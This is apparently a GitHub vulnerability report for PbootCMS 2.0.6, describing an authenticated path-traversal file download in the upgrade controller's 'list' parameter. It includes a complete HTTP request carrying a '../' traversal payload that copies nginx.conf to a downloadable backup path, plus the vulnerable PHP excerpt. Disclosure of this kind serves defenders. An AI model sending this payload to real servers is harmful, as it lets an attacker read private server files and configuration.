

New issue

[Jump to bottom](#)

## Pbootcms2.0.6 has a management background arbitrary file download vulnerability #5

[Open](#) fkzhangsa opened this issue on Mar 20, 2020 · 0 comments

fkzhangsa commented on Mar 20, 2020

The vulnerability lies in the update function of the upgradecontroller.php file.

In this function, the 'list' variable is spliced into the path without filtering, so any file can be copied under the '/ backup / upgrade /' path, and then the file can be downloaded by directly accessing the file.

1.Log in to the / admin.php page.



2.Post the '/ pbootcms / Admin. PHP? P = / upgrade / update' to request that the contents of the list point to the file to be downloaded

Go Cancel < >

Request

Raw Params Headers Hex

POST /PbootCMS/admin.php?p=/Upgrade/update HTTP/1.1  
Host: 192.168.16.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 54  
Origin: http://192.168.16.1  
Connection: close  
Referer: http://192.168.16.1/PbootCMS/admin.php?p=/Role/mod/rcode/R101&backurl=L1Bib29Q01TL2FkbWluLnBocD9wPS9Sb2x1L2luZGV4  
Cookie: PbootSystem=pudh6lqelcisi9vasbq0mva9; lg=cn;  
Hm\_lvt\_16f37dc3416ca514857b78d0b158037e=1584612108;  
Hm\_lpv1\_16f37dc3416ca514857b78d0b158037e=1584616278  
Upgrade-Insecure-Requests: 1  
  
list=../../../../Extensions/Nginx1.15.11/conf/nginx.conf

Response

Raw Headers Hex

HTTP/1.1 200 OK  
Server: nginx/1.15.11  
Date: Fri, 20 Mar 2020 09:46:46 GMT  
Content-Type: text/html; charset=utf-8  
Connection: close  
X-UA-Compatible: IE=edge,chrome=1  
X-Powered-By: PbootCMS  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 76  
  
{"code":0,"data":"文件 nginx.conf 更新失败, 请重试!","rowtotal":1}

3.Next, visit 'pbootcms \ static \ backup \ extensions \ nginx1.15.11 \ conf \ nginx. Conf' to download to the file

## urp Suite Professional

ror

known host: pbootcms



code

```
($ POST) {
    if (!! $list = post('list')) {
        $list = explode(',', $list);
        $backdir = date('YmdHis');
        // 分离文件
        foreach ($list as $value) {
            if (strpos($value, '/script/') != false) {
                $sqls[] = $value;
            } else {
                $path = RUN_PATH . '/upgrade' . $value;
                $des_path = ROOT_PATH . $value;
                $back_path = DOC_PATH . STATIC_DIR . '/backup/upgrade/' . $bac
                if (! check_dir(dirname($des_path), true)) {
                    json(0, '目录写入权限不足, 无法正常升级! ' . dirname($des_pat
                )
                if (file_exists($des_path)) { // 文件存在时执行备份
                    check_dir(dirname($back_path), true);
                    copy($des_path, $back_path);
                }
                // 如果后台入口文件修改过名字, 则自动适配
                if (strpos($path, 'admin.php') != false && strpos($_SERVER[
                    if (file_exists($_SERVER['SCRIPT_FILENAME'])) {
                        $des_path = $_SERVER['SCRIPT_FILENAME'];
                    }
                }
            }
        }
    }
}
```

The filtering of 'list' is not strict.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

